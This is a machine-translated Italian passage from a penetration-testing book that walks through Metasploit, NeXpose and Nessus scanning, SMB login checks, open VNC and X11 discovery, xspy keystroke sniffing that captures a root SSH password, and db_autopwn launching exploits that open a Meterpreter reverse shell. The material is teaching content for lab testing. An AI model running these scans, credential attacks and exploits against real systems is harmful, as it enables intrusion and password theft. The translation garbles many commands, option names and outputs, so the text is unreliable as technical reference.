3. Nella fase di configurazione della scansione, è possibile scegliere tra diversi modelli di scansione, come Discovery Scan e
Penetration test; seleziona il motore di scansione che desideri utilizzare; o impostare un programma di scansione
automatizzato. Ai fini di questa procedura dettagliata iniziale, mantenere le selezioni predefinite e fare clic su Avanti per
continuare.

4. Aggiungi le credenziali per il sito che desideri scansionare, se le hai. Le credenziali possono aiutare a crearne di più
risultati accurati e completi eseguendo un'enumerazione approfondita del software installato e delle politiche di sistema sul
target.

5. Nella scheda Credenziali, fare clic sul pulsante Nuovo accesso , digitare un nome utente e una password per l'indirizzo
IP che si desidera scansionare, quindi fare clic su Prova accesso per verificare le credenziali e salvarle.

Figura 4-3. Aggiunta di un dispositivo al nuovo sito NeXpose

6. Infine, fare clic su Salva per completare la procedura guidata Nuovo sito e tornare alla scheda Home, che dovrebbe
elencare il sito appena aggiunto, come mostrato nella Figura 4-4.
Machine Translated by Google

Figura 4-4. La scheda Home mostra il sito appena configurato.

La nuova procedura guidata di scansione manuale

Con il tuo nuovo sito configurato, sei ora impostato per configurare la tua prima scansione: 1.

Fare clic sul pulsante Nuova scansione manuale mostrato nella Figura 4-4. Dovrebbe essere visualizzata la finestra di dialogo
Avvia nuova scansione mostrata nella Figura 4-5, che richiede le risorse che si desidera scansionare o escludere. In questo
esempio, stiamo scansionando il nostro sistema Windows XP predefinito.

2. Ricontrolla il tuo indirizzo IP di destinazione per assicurarti di non eseguire la scansione del dispositivo o della rete sbagliati
inavvertitamente e fai clic sul pulsante Avvia ora per iniziare.
Machine Translated by Google

Figura 4-5. La finestra di dialogo di configurazione della scansione di NeXpose

3. NeXpose dovrebbe aggiornare dinamicamente la pagina man mano che la scansione procede. Attendere fino a
quando lo stato di Avanzamento scansione e Risorse scoperte non mostra Completato, come mostrato nella
Figura 4-6. Nella sezione Scan Progress, puoi vedere che il nostro singolo dispositivo scansionato ha 268
vulnerabilità rilevate e in Risorse scoperte ti vengono fornite ulteriori informazioni sulla destinazione come il nome
del dispositivo e il suo sistema operativo. Ora fai clic sulla scheda Rapporti .

Figura 4-6. La scansione e il rapporto NeXpose completati

La procedura guidata Nuovo rapporto


SeMachine
è la primaTranslated by Google
volta che esegui NeXpose e hai completato solo una scansione, la scheda Rapporti dovrebbe mostrare che non hai generato
alcun rapporto.

1. Fare clic su Nuovo rapporto, come mostrato nella Figura 4-7, per avviare la procedura guidata Nuovo rapporto.

Figura 4-7. La scheda Rapporti NeXpose

2. Immettere un nome descrittivo, quindi nel campo Formato report, selezionare NeXpose Simple XML Export, come mostrato nella Figura 4-8, in
modo da poter importare i risultati della scansione in Metasploit. È possibile selezionare tra diversi modelli di report e configurare il fuso orario
se si esegue il test della penna su strada. Fai clic su Avanti quando sei pronto per procedere.

Figura 4-8. Selezione di un nome e di un formato per il rapporto

3. Nella finestra successiva, aggiungere i dispositivi che si desidera includere nel report facendo clic su Seleziona
Siti per aggiungere l'intervallo di destinazione scansionato, come mostrato nella Figura 4-9. Quindi fare clic su Salva.

Figura 4-9. Selezione del sito da includere nel report

4. Nella finestra di dialogo Seleziona dispositivi, selezionare i target da includere nel report, quindi fare clic su Salva.

5. Nella procedura guidata di configurazione del rapporto, fare clic su Salva per accettare le restanti impostazioni predefinite per il rapporto.
La scheda Report dovrebbe ora elencare il report appena creato, come mostrato nella Figura 4-10. (Assicurati di salvare
Machine
il file diTranslated
report inbymodo
Google
da poterlo utilizzare con il Framework.)

Figura 4-10. La scheda Rapporti elenca i tuoi rapporti.

Importazione del report in Metasploit Framework Dopo aver completato una scansione
completa delle vulnerabilità con NeXpose, è necessario importare i risultati in Metasploit. Ma prima
di farlo, devi creare un nuovo database da msfconsole emettendo db_connect. Dopo aver creato quel
database importerai il NeXpose XML usando il comando db_import . Metasploit rileverà
automaticamente che il file proviene da NeXpose e importerà l'host scansionato. È quindi possibile verificare
che l'importazione sia riuscita eseguendo il comando db_hosts . (Questi passaggi sono mostrati nell'elenco
, Metasploit sa del 268
seguente.) Come puoi vedere nelle vulnerabilità rilevate dalla scansione.

msf > db_connect postgres:toor@127.0.0.1/ msf3 msf >


db_import /tmp/host_195.xml [*] Importazione dati 'NeXpose
Simple XML' [*] Importazione host 192.168.1.195 [*] Importazione
riuscita /tmp/host_195.xml

msf > db_hosts -c indirizzo,svcs,vulns

Ospiti
=====

indirizzo Svcs Vulns Area di lavoro


------- ---- ----- ---------

192.168.1.195 8 268 predefinito

Per visualizzare tutti i dettagli delle vulnerabilità importate in Metasploit, incluso Common
I numeri di vulnerabilità ed esposizioni (CVE) e altri riferimenti, eseguono quanto segue:
msf > db_vulns

Come puoi vedere, l'esecuzione di una scansione della vulnerabilità aperta con le credenziali complete può fornire
un'incredibile quantità di informazioni: 268 vulnerabilità rilevate in questo caso. Ma, ovviamente, questa è stata una scansione
molto rumorosa, che probabilmente attirerà molta attenzione. Questi tipi di scansioni di vulnerabilità vengono utilizzati al meglio
in un test della penna in cui non è necessario essere furtivi.

Esecuzione di NeXpose all'interno di MSFconsole L'esecuzione


di NeXpose dalla GUI Web è ottimo per ottimizzare le scansioni delle vulnerabilità e generare report,
ma se si preferisce rimanere in msfconsole, è comunque possibile eseguire scansioni complete delle
vulnerabilità con il plug-in NeXpose incluso in Metasploit.
Per dimostrare la differenza nei risultati tra una scansione con credenziali e senza credenziali, eseguiremo
Machine
una Translated
scansione da conbyMetasploit
Google senza specificare un nome utente e una password per il sistema di destinazione. Prima di
iniziare, elimina qualsiasi database esistente con db_destroy, crea un nuovo database in Metasploit con db_connect, quindi
carica il plug-in NeXpose con load nexpose come mostrato di seguito:

msf > db_destroy postgres:toor@127.0.0.1/ msf3 [*] Avvertenza:


dovrai inserire la password ai prompt sotto Password:

msf > db_connect postgres:toor@127.0.0.1/ msf3

msf > carica nexpose

[*] L'integrazione con NeXpose è stata attivata


[*] Plugin caricato con successo: nexpose

Con il plug-in NeXpose caricato, dai un'occhiata ai comandi caricati specificamente per lo scanner di vulnerabilità
inserendo il comando di aiuto . Dovresti vedere una serie di nuovi comandi nella parte superiore dell'elenco specifici per
l'esecuzione di NeXpose.

msf > aiuto

Prima di eseguire la tua prima scansione da msfconsole, dovrai connetterti all'installazione di NeXpose.
Immettere nexpose_connect -h per visualizzare l'utilizzo richiesto per connettersi; aggiungi il tuo nome utente, password
e indirizzo host; e accetta l'avviso del certificato SSL aggiungendo ok alla fine della stringa di connessione:

msf > nexpose_connect -h [*]


Utilizzo: [*] [*] [*] nexpose_connect
nome utente password nexpose_connect
host porta nome utente:password@host[:porta] <ssl-confirm>
<ssl-confirm> msf-O- >
nexpose_connect dookie:s3cr3t@192.168.1.206 ok [*] Connessione all'istanza NeXpose a
192.168.1.206. 1.206:3780 con nome utente dookie...

Ora inserisci nexpose_scan seguito dall'indirizzo IP di destinazione per avviare una scansione, come mostrato di
seguito. In questo esempio, stiamo eseguendo la scansione di un singolo indirizzo IP, ma puoi anche passare un intervallo
di host allo scanner (192.168.1.1-254) o una sottorete nella notazione CIDR (Classless Inter-Domain Routing) (192.168.1.0/24 )

msf > nexpose_scan 192.168.1.195 [*]


Scansione di 1 indirizzi con template pentest-audit in set di 32 [*] Scansione di 1 indirizzi
completata msf >

Al termine della scansione di NeXpose, il database creato in precedenza dovrebbe contenere i risultati della scansione di
vulnerabilità. Per visualizzare i risultati, inserisci db_hosts, come mostrato di seguito. (In questo esempio, l'output è stato
tagliato filtrando sulla colonna dell'indirizzo.)

msf > db_hosts -c indirizzo

Ospiti
=====

indirizzo Svcs Vulns Area di lavoro


------- ---- ----- ---------

192.168.1.195 8 7 predefinito

msf >

Come puoi vedere, NeXpose ha scoperto sette vulnerabilità. Esegui db_vulns per visualizzare il file
Machine Translated
vulnerabilità by Google
riscontrate:
msf > db_vulns

Sebbene questa scansione abbia rilevato un numero significativamente inferiore delle 268 vulnerabilità scoperte con il nostro
precedente utilizzo di NeXpose tramite la GUI con le credenziali, dovresti avere abbastanza vulnerabilità qui per ottenere un
ottimo vantaggio nello sfruttamento del sistema.
Machine Translated by Google
Scansione con Nessus Lo scanner
delle vulnerabilità Nessus di Tenable Security (http://www.tenable.com/) è uno degli scanner di vulnerabilità
più utilizzati. Il plug-in Nessus di Metasploit ti consente di avviare scansioni ed estrarre informazioni dalle
scansioni di Nessus tramite la console, ma nell'esempio che segue importeremo i risultati di scansione di
Nessus in modo indipendente. Utilizzando Nessus 4.4.1 con un feed Home gratuito, eseguiremo questa
scansione sullo stesso target che utilizzeremo in questo capitolo, con credenziali note. In queste prime fasi di
un test di penetrazione, più strumenti puoi utilizzare per mettere a punto i tuoi attacchi futuri, meglio è.

Configurazione di Nessus Dopo aver

scaricato e installato Nessus, apri il tuo browser web e vai a https://<tuoipaddress>:8834, accetta l'avviso
del certificato e accedi a Nessus usando le credenziali che hai creato durante l'installazione. Dovresti vedere la finestra
principale di Nessus, come mostrato nella Figura 4-11.

Figura 4-11. La finestra principale di Nessus

All'accesso, vedrai la sezione Rapporti, dove dovrebbero essere elencate tutte le scansioni di vulnerabilità precedenti.
Nella parte superiore dell'interfaccia, dovresti vedere la scheda Scansioni, dove puoi creare e visualizzare le attività
di scansione; la scheda Politiche, in cui configuri Nessus per includere vari plug-in che desideri utilizzare nelle tue
scansioni; e la scheda Utenti, dove puoi aggiungere account utente al server Nessus.

Creazione di una policy di scansione Nessus Prima di

iniziare una scansione, è necessario creare una policy di scansione Nessus. Nella scheda Politiche, fare clic sul
pulsante verde Aggiungi per aprire la finestra di configurazione delle politiche mostrata nella Figura 4-12.
Machine Translated by Google

Figura 4-12. La finestra di configurazione dei criteri di Nessus

Vedrai molte opzioni disponibili, tutte reperibili nella documentazione di Nessus.

1. Immettere un nome per la scansione, come mostrato nella Figura 4-13. Useremo il nome The_Works nel nostro
esempio per fare in modo che Nessus esegua tutti i suoi controlli. Quindi fare clic su Avanti.

2. Come per la scansione NeXpose condotta in precedenza, configureremo questa scansione per utilizzare il login di Windows
credenziali per avere un quadro più completo delle vulnerabilità presenti sul sistema di destinazione. Immettere le credenziali di
accesso per il sistema di destinazione e fare clic su Avanti.

Figura 4-13. Le impostazioni generali di Nessus

3. Nella pagina Plugin, puoi scegliere tra un'ampia varietà di plug-in Nessus per Windows, Linux, BSD e altro. Se, durante una
scansione, sai che eseguirai la scansione solo di sistemi basati su Windows, ad esempio, puoi deselezionare molti di questi
plug-in per il tuo primo run-through; per ora, fare clic su Abilita tutto (mostrato nell'angolo inferiore destro della Figura 4-14)
e quindi su Avanti.
Machine Translated by Google

Figura 4-14. Selezione dei plug-in di scansione Nessus

4. Il passaggio finale nell'impostazione della nuova politica è la pagina Preferenze. Qui puoi indicare a Nessus di non scansionare
dispositivi fragili come stampanti di rete, configurarlo per archiviare i risultati in un database esterno, fornire credenziali di accesso e
altro ancora. Al termine delle selezioni, fare clic su Invia per salvare la nuova politica. La politica appena aggiunta dovrebbe essere
visualizzata in Politiche, come mostrato nella Figura 4-15.

Figura 4-15. La nuova politica aggiunta in Nessus

Esecuzione di una scansione Nessus Dopo aver

creato una politica di scansione, si è pronti per configurare una scansione. Inizia selezionando la scheda Scansioni , quindi fai clic sul
pulsante Aggiungi per aprire la finestra di configurazione della scansione. La maggior parte della configurazione di Nessus è impostata
nelle sue politiche di scansione, quindi quando stai configurando una scansione, inserisci un nome per la scansione, scegli una politica
e inserisci le destinazioni di scansione, come mostrato nella Figura 4-16.
Machine Translated by Google

Figura 4-16. Configurazione di una scansione Nessus

Nel nostro esempio, stiamo eseguendo la scansione di un solo host, ma puoi anche inserire intervalli di indirizzi IP
nella notazione CIDR o persino caricare un file contenente gli indirizzi dei target che desideri scansionare. Quando sei
soddisfatto della configurazione della scansione, fai clic su Avvia scansione.

Rapporti Nessus Una volta

completata la scansione, non apparirà più in Scansioni e dovresti trovare una nuova voce nella scheda Rapporti che
elenca il nome della scansione, il suo stato e quando è stato aggiornato l'ultima volta. Selezionare il report e fare clic su
Sfoglia per aprire una pagina di riepilogo della scansione che mostra i livelli di gravità delle vulnerabilità rilevate, come
mostrato nella Figura 4-17.

Figura 4-17. Il nostro riepilogo del rapporto di scansione di Nessus

NOTA

Tieni presente che poiché questa scansione è stata eseguita con le credenziali di Windows, Nessus troverà molte più vulnerabilità rispetto a una scansione anonima.

Importazione dei risultati nel Metasploit Framework


Machine
Ora Translated
importiamo byrisultati
i nostri Google nel Framework.

1. Fare clic sul pulsante Scarica rapporto nella scheda Rapporti per salvare i risultati sul disco rigido. Il
il formato file predefinito per i report Nessus, .nessus, può essere analizzato da Metasploit, quindi fai clic su Invia quando
richiesto per selezionare il formato predefinito.

2. Carica msfconsole, crea un nuovo database con db_connect e importa il file dei risultati di Nessus tramite
inserendo db_import seguito dal nome del file del report.
msf > db_connect postgres:toor@127.0.0.1/ msf3 msf >
db_import /tmp/nessus_report_Host_195.nessus [*] Importazione dati
'Nessus XML (v2)' [*] Importazione host 192.168.1.195

3. Per verificare che l'host scansionato e i dati sulla vulnerabilità siano stati importati correttamente, immettere db_hosts
come mostrato di seguito. Questo dovrebbe produrre un breve elenco con l'indirizzo IP di destinazione, il numero di
servizi rilevati e il numero di vulnerabilità rilevate da Nessus.
msf > db_hosts -c indirizzo,svcs,vulns

Ospiti
=====
indirizzo svcs vulns
------- ---- -----

192.168.1.195 18 345

4. Per un elenco completo dei dati sulla vulnerabilità importati in Metasploit, immettere db_vulns
senza alcun interruttore, come mostrato qui:
msf> db_vulns [*]
Ora: Mer Mar 09 03:40:10 UTC 2011 Vuln: host = 192.168.1.195
nome=NSS-10916 refs=OSVDB-755
[*] Ora: Mer Mar 09 03:40:10 UTC 2011 Vuln: host = 192.168.1.195
nome=NSS-10915 refs=OSVDB-754
[*] Ora: Mer Mar 09 03:40:11 UTC 2011 Vuln: host = 192.168.1.195
nome=NSS-10913 refs=OSVDB-752
[*] Ora: mercoledì mar 09 03:40:12 UTC 2011 Vuln: host = 192.168.1.195 nome = NSS-10114
refs = CVE-1999-0524, OSVDB-94, CWE-200 [*] Ora: mercoledì mar 09 03:40:13 UTC
2011 Vuln: host = 192.168.1.195
nome=NSS-11197 refs=CVE-2003-0001,BID-6535

Al termine del test della penna, avere a disposizione questi riferimenti può essere di grande aiuto quando scrivi il rapporto
per il tuo cliente.

Scansione con Nessus dall'interno di Metasploit Durante quei momenti in cui non hai

voglia di lasciare la comodità della riga di comando, puoi utilizzare il plug-in Nessus Bridge (http://blog.zate.org/nessus-plugin-
dev/ ) di Zate all'interno di Metasploit. Il Nessus Bridge ti consente di controllare completamente Nessus tramite Metasploit
Framework, eseguire scansioni, interpretare i risultati e lanciare attacchi in base alle vulnerabilità identificate tramite Nessus.

1. Come negli esempi precedenti, distruggere prima il database esistente con il comando db_destroy e
creane uno nuovo usando db_connect.

2. Caricare il plug-in Nessus eseguendo load nessus, come mostrato qui:


msf > db_destroy postgres:toor@127.0.0.1/ msf3 [*] Avvertenza:
dovrai inserire la password ai prompt sotto Password:
Machine Translated by Google
msf > db_connect postgres:toor@127.0.0.1/ msf3 msf > load
nessus [*] Nessus Bridge per Metasploit 1.1 [+] Digitare
nessus_help per un elenco di comandi [+] Exploit Index - (/
root/.msf3/nessus_index) - è valido.

[*] Plugin caricato correttamente: Nessus

3. L'esecuzione del comando nessus_help visualizzerà tutti i comandi supportati dal plug-in. Il Bridge viene regolarmente
sviluppato e aggiornato, quindi è una buona idea controllare periodicamente l'output della guida per vedere quali nuove
funzionalità, se presenti, sono state aggiunte.

4. Prima di iniziare una scansione con Bridge, devi prima autenticarti sul tuo server Nessus utilizzando
nessus_connect, come mostrato qui:
msf > nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok [*] Connessione
a https://192.168.1.101:8834/ come dookie [*] Autenticato

5. Come per la versione GUI di Nessus, è necessario avviare una scansione utilizzando un criterio definito in base al numero ID del
criterio. Per elencare le politiche di scansione disponibili sul server, utilizzare nessus_policy_list:
msf > nessus_policy_list
[+] Elenco delle politiche di Nessus

Nome ID Commenti
-- ---- --------
-4 Scansione di rete interna
-3 test dell'app Web
-2 Prepararsi per gli audit PCI DSS
-1 Scansione di rete esterna
2 I lavori

6. Prendere nota dell'ID della politica che si desidera utilizzare per la scansione, quindi avviare una nuova scansione
nessus_scan_new seguito dal numero della polizza, un nome per la scansione e l'indirizzo IP di destinazione come mostrato di
seguito:

msf > nessus_scan_new


[*] Utilizzo:

[*] nessus_scan_new <ID politica> <nome scansione> <obiettivi> [*] usa nessus_policy_list
per elencare tutte
192.168.1.195
le politiche disponibili
[*] Creazione
msf >della
nessus_scan_new
scansione dalla policy
2 bridge_scan
numero 2, denominata
"bridge_scan" e scansione 192.168 .1.195 [*] Scansione avviata. uid è d2f1fc02-3b50-4e4e-
ab8f-38b0813dd96abaeab61f312aa81e

7. Mentre la scansione è in corso, puoi vederne lo stato eseguendo il comando nessus_scan_status .


Quando l'output di questo comando risponde con "Nessuna scansione in esecuzione", come mostrato di seguito, saprai
che la scansione è stata completata.
msf > nessus_scan_status [*]
Nessuna scansione in esecuzione.

8. Al termine della scansione, è possibile elencare i rapporti di scansione disponibili con il comando nessus_report_list .
Identifica l'ID del rapporto che desideri importare e inserisci nessus_report_get per scaricare il rapporto e importarlo
automaticamente nel database Metasploit.

msf > nessus_report_list


[+] Elenco rapporti Nessus
Machine
ID Translated by Google Nome Stato Data
-- ---- ------ ----
074dc984-05f1-57b1-f0c9-2bb80ada82fd3758887a05631c1d
Host_195 completato 19:43 08 marzo 2011
d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
bridge_scan completato 09:37 09 marzo 2011

[*] Puoi:
[*] Ottieni un elenco di host dal rapporto: nessus_report_hosts <report id>
msf > nessus_report_get d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
[*] importazione d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
[*] 192.168.1.195 Microsoft Windows XP Professional (inglese) Fatto!
[+] Fatto

9. Infine, come con le altre funzioni di importazione mostrate in questo capitolo, puoi usare db_hosts per
verificare che i dati di scansione siano stati importati correttamente:

msf > db_hosts -c indirizzo,svcs,vulns

Ospiti
=====

indirizzo svcs vulns


------- ---- -----

192.168.1.195 18 345

Ora che hai visto la variazione nei risultati della scansione di due prodotti diversi, dovresti avere a
migliore senso del merito nell'usare più di uno strumento per le tue esigenze di scansione. Spetta ancora al
penetration tester per interpretare i risultati di questi strumenti automatizzati e trasformarli in utilizzabili
dati.
Machine Translated by Google

Scanner di vulnerabilità speciali


Sebbene sul mercato siano disponibili molti scanner di vulnerabilità commerciali, non sei limitato a
loro. Quando vuoi eseguire una scansione per una vulnerabilità specifica su una rete, Metasploit è molte
i moduli ausiliari possono aiutarti a svolgere tali compiti.

I seguenti moduli Metasploit sono solo alcuni esempi delle molte utili scansioni ausiliarie
moduli inclusi nel Framework. Approfitta del tuo laboratorio per sondare ed esplorarne tanti
come puoi.

Convalida degli accessi SMB


Per verificare la validità di una combinazione di nome utente e password, utilizzare lo scanner controllo accesso SMB per
connettersi a una serie di host. Come ci si potrebbe aspettare, questa scansione è rumorosa e evidente e ogni accesso
tentativo verrà visualizzato nei registri eventi di ogni finestra di Windows che incontra.

Dopo aver selezionato il modulo smb_login con use, puoi eseguire show_options per vedere le impostazioni elencate
nella colonna Richiesto. Metasploit consente di specificare una combinazione di nome utente e password, a
elenco nome utente e password o una combinazione di entrambi. Nel prossimo esempio, RHOSTS è impostato su piccolo
un intervallo di indirizzi IP e un nome utente e una password sono configurati per Metasploit per provare contro tutti
indirizzi.
msf > usa ausiliario/scanner/smb/smb_login
msf ausiliario(smb_login) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

FILE_PASS No File contenente password, una per riga


Intervallo sì Il bersaglio
di indirizzi RHOSTS o identificatore CIDR
RAPPORTO 445 sì Impostare la porta del servizio SMB
SMBDomain password No Dominio PMI
SMB Pass GRUPPO DI LAVORO No Password PMI
Utente SMB Amministratore No Nome utente PMI
FILI 50 si Il numero di thread simultanei
USERPASS_FILE No File contenente
utenti e password separati
per spazio, una coppia per riga
FILE_UTENTE No File contenente nomi utente, uno per riga

msf ausiliario(smb_login) > set RHOSTS 192.168.1.150-155


RHOSTS => 192.168.1.170-192.168.1.175
msf ausiliario(smb_login) > imposta SMBUser Administrator
Utente SMB => Amministratore
msf ausiliario(smb_login) > imposta SMBPass s3cr3t
SMBPass => s3cr3t
msf ausiliario(smb_login) > esegui
[*] Host iniziale 192.168.1.154
[*] Host iniziale 192.168.1.150
[*] Host iniziale 192.168.1.152
[*] Host iniziale 192.168.1.151
[*] Host iniziale 192.168.1.153
[*] Host iniziale 192.168.1.155
Machine Translated by Google
[+] 192.168.1.155 - ACCESSO RIUSCITO (Windows 5.1) 'Amministratore': 's3cr3t'
[*] Scansionato 4 host su 6 (066% completo)
[*] Scansionato 5 host su 6 (083% completo)
[*] Scansionato 6 host su 6 (completato al 100%)
[*] Esecuzione del modulo ausiliario completata
msf ausiliario(smb_login) >

Puoi vedere un accesso riuscito con l'utente Amministratore e una password di s3cr3t sulle workstation . Perché
sono tutti clonati da un'immagine e distribuiti attraverso l'azienda in molte aziende
ambienti, la password dell'amministratore potrebbe essere la stessa su tutti loro, garantendoti l'accesso
ogni workstation della rete.

Scansione per l'autenticazione VNC aperta


Il Virtual Network Computing (VNC) fornisce l'accesso grafico ai sistemi remoti in un modo simile
al desktop remoto di Microsoft. Le installazioni VNC sono comuni in tutte le aziende, perché
fornire una visualizzazione basata su GUI dei desktop di server e workstation. VNC viene spesso installato per soddisfare a
bisogno temporaneo e poi completamente dimenticato e lasciato senza patch, creando un grande potenziale
vulnerabilità. Autenticazione VNC integrata di Metasploit Nessuno scanner ricerca un intervallo di IP
indirizzi per server VNC che non hanno una password configurata (che supportano "Nessuno"
autenticazione, ovvero una password vuota). Di solito, questa scansione non risulterà nulla di valore, ma un bene
Il penetration tester non lascia nulla di intentato quando si cercano modi per accedere a un sistema di destinazione.

NOTA

I server VNC recenti non consentono password vuote. Per configurarne uno nel tuo laboratorio per il test, usa server VNC meno recenti come RealVNC
4.1.1.

Lo scanner VNC, come la maggior parte dei moduli ausiliari Metasploit, è facile da configurare ed eseguire. Il solo
la configurazione richiesta per vnc_none_auth consiste nel fornirgli un IP o un intervallo di IP da scansionare. Semplicemente
seleziona il modulo, definisci i tuoi RHOSTS e THREADS, se lo desideri, ed eseguilo, come mostrato di seguito:

msf > usa ausiliario/scanner/vnc/vnc_none_auth


msf ausiliario(vnc_none_auth) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

ROST sì L'intervallo di indirizzi di destinazione o l'identificatore CIDR


RAPPORTO 5900 sì sì La porta di destinazione
FILI 1 Il numero di thread simultanei

msf ausiliario (vnc_none_auth) > imposta RHOSTS 192.168.1.155


RHOSTS => 192.168.1.155
msf ausiliario(vnc_none_auth) > esegui

[*] 192.168.1.155:5900, versione protocollo server VNC: RFB 003.008


[*] 192.168.1.155:5900, tipi di sicurezza del server VNC supportati: nessuno

[*] 192.168.1.155:5900, i tipi di sicurezza del server VNC includono Nessuno, accesso gratuito!
[*] Scansionato 1 host su 1 (completato al 100%)
[*] Esecuzione del modulo ausiliario completata
msf ausiliario(vnc_none_auth) >
Machine Translated by Google
Se sei fortunato e Metasploit trova un server VNC senza autenticazione, puoi usare vncviewer di Back|Track per
connetterti alla macchina di destinazione senza una password, come mostrato nella Figura 4-18.

Figura 4-18. Connessione a VNC senza autenticazione tramite vncviewer

Se ritieni che una scansione VNC possa essere una perdita di tempo e che non troverai mai sistemi con server VNC aperti abilitati,
ripensaci. Durante un ampio test di penetrazione, che includeva migliaia di sistemi, uno degli autori ha notato che uno di quei sistemi
aveva un server VNC aperto.

Mentre l'autore era nel sistema a documentare la sua scoperta, ha notato attività nel sistema. Questo è stato durante la notte su un
sistema su cui era improbabile che ci fosse un utente autorizzato. Sebbene non sia sempre considerata una best practice, l'autore ha
finto di essere un altro intruso non autorizzato e ha coinvolto l'intruso in una conversazione tramite Blocco note. L'intruso non era molto
intelligente e ha detto all'autore che stava scansionando grandi blocchi di sistemi per server VNC aperti. Ecco un segmento della
conversazione:

Autore: Tu negli Stati Uniti? o fuori paese? Conosco alcune persone in Danimarca.

Attaccante: In realtà vengo dalla Norvegia, hehe, ho parenti in Danimarca.

Autore: Ti appendi in qualche bacheca? come mi piacevano alcuni ma se ne sono andati

Attaccante: Per lo più mi fermo in alcune schede di programmazione, ma non molto altro. Sei stato nell'hacking per molto tempo o cosa?
Qual è la tua età tra l'altro? Ho 22 anni.

Autore: Sono stato su questo per divertirmi per circa un anno o giù di lì. Ancora a scuola. 16. Solo qualcosa da fare.

Attaccante: Non ci sono stato. Anch'io lo faccio principalmente per divertimento, solo cercando di vedere cosa posso fare, testare le mie capacità. A proposito, ho scritto
io stesso "VNC finder", ho trovato molti server, ma questo è l'unico in cui potrei davvero divertirmi Autore: Wow. In cosa l'hai scritto? Posso dlrlo? Hai una maniglia?

Attaccante: È scritto in un linguaggio chiamato PureBasic, ma non è ancora pronto per il rilascio, è solo per uso personale. Ma forse posso condividerlo comunque, potrei
caricare il codice da qualche parte e farti compilare. Cioè se riesci a trovare un compilatore PureBasic su qualche sito warez: P

Autore: Fantastico. puoi metterlo in quel sito di pastebin da irc. Ciò ti consente di pubblicare un post che non ho mai fatto prima di purebasic. solo python e perl
Attaccante: Fammi vedere, cercherò quel sito di pastebin e lo caricherò, dammi solo qualche minuto, sarò in giro.

L'attaccante ha quindi fornito all'autore un collegamento a una pagina pastebin con il sorgente completo per lo scanner VNC
personalizzato che stava utilizzando.

Scansione per server X11 aperti


Lo scanner open_x11 integrato di Metasploit è simile allo scanner vnc_auth, in quanto esplora una gamma di host alla ricerca di server
X11 che consentono agli utenti di connettersi senza autenticazione. Sebbene i server X11 non siano ampiamente utilizzati oggi, molte
scatole arcaiche là fuori eseguono ancora sistemi operativi vecchi, senza patch e dimenticati. Come hai visto nei due esempi precedenti,
i sistemi legacy sono spesso i sistemi più vulnerabili su una rete.

Per eseguire lo scanner open_x11, configura semplicemente come faresti con la maggior parte degli altri moduli ausiliari impostando
Machine
i valori Translated
RHOSTS by Google
e, facoltativamente, i FILETTI . Successivamente viene mostrata una sessione. Avviso all'indirizzo IP
192.168.1.23 che lo scanner ha trovato un server X aperto. Questa è una grave vulnerabilità perché
consente a un utente malintenzionato di ottenere un accesso non autenticato al sistema: il sistema X gestisce la GUI
compreso il mouse e la tastiera.

msf > usa ausiliario/scanner/x11/open_x11


msf ausiliario(open_x11) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

ROST sì L'intervallo di indirizzi di destinazione o l'identificatore CIDR


RAPPORTO 6000 sì sì La porta di destinazione
FILI 1 Il numero di thread simultanei

msf ausiliario(open_x11) > imposta RHOSTS 192.168.1.0/24


RHOSTS => 192.168.1.0/24
msf ausiliario(open_x11) > imposta FILETTI 50
FILI => 50
msf ausiliario(open_x11) > esegui
[*] Provando 192.168.1.1
[*] Provando 192.168.1.0
[*] Tentativo 192.168.1.2...
[*] Provando 192.168.1.29
[*] Tentativo 192.168.1.30
[*] Apri X Server @ 192.168.1.23 (The XFree86 Project, Inc)
[*] Tentativo 192.168.1.31
[*] Provando 192.168.1.32

. . . SPICCHIA. . .

[*] Provando 192.168.1.253


[*] Provando 192.168.1.254
[*] Provando 192.168.1.255
[*] Esecuzione del modulo ausiliario completata

Per vedere cosa potrebbe fare un utente malintenzionato con una vulnerabilità come questa, avvia la registrazione delle sequenze di tasti utilizzando

Indietro|Lo strumento xspy di Track, in questo modo:

root@bt:/# cd /pentest/sniffers/xspy/
root@bt:/pentest/sniffers/xspy# ./xspy -display 192.168.1.23:0 -delay 100

ssh root@192.168.1.11(+BackSpace)37
sup3rs3cr3tp4s5w0rd
ifconfig
Uscita

Lo strumento xspy sniffa in remoto la sessione della tastiera del server X e ha catturato un utente che esegue SSH in
accedere come root su un sistema remoto. Vulnerabilità come questa possono essere rare, ma quando le trovi
sono estremamente preziosi.
Machine Translated by Google
Utilizzo dei risultati di scansione per l'autopwning Facciamo
una rapida deviazione nello sfruttamento. Lo strumento Autopwn di Metasploit prende di mira e sfrutta
automaticamente un sistema utilizzando una porta aperta o utilizzando i risultati di un'esportazione di scansioni di
vulnerabilità. Puoi utilizzare Autopwn per sfruttare i risultati della maggior parte degli scanner di vulnerabilità, inclusi
NeXpose, Nessus e OpenVAS.

Ad esempio, ecco come potremmo utilizzare un'importazione dei risultati di Nessus per indirizzare un sistema e eseguirne l'autopwn.
Crea un nuovo database con db_connect e usa db_import per importare il rapporto di scansione. Nel prossimo
esempio, eseguiamo db_autopwn con una serie di switch per lanciare attacchi contro tutti i target (e), mostrare tutti i moduli
corrispondenti (t), utilizzare un payload shell inverso (r), selezionare i moduli exploit in base alla vulnerabilità (x), e
seleziona anche in base alle porte aperte (p). Una volta avviato db_autopwn , Metasploit inizia a lanciare exploit sugli
obiettivi. Gli exploit riusciti restituiscono una shell alla macchina attaccante.
msf > db_connect postgres:toor@127.0.0.1/ msf3 msf >
db_import /root/nessus.nbe msf > db_autopwn -e -t -r -x
-p

[*] (1/72
[0 sessioni]): avvio di exploit/windows/mssql/ms09_004_sp_replwritetovarbin contro 192.168.33.130:1433...

[*] (2/72 [0 sessioni]): avvio di exploit/windows/smb/


psexec contro 192.168.33.130:445...
[*] (3/72 [0 sessioni]): avvio di exploit/windows/smb/ms06_040_netapi contro 192.168.33.130:445...

. . . SPICCHIA. . .

[*] Stager intermedio trasmittente per stadio sovradimensionato...(216 byte)


[*] Fase di invio (718336 byte)

[*] Sessione Meterpreter 1 aperta


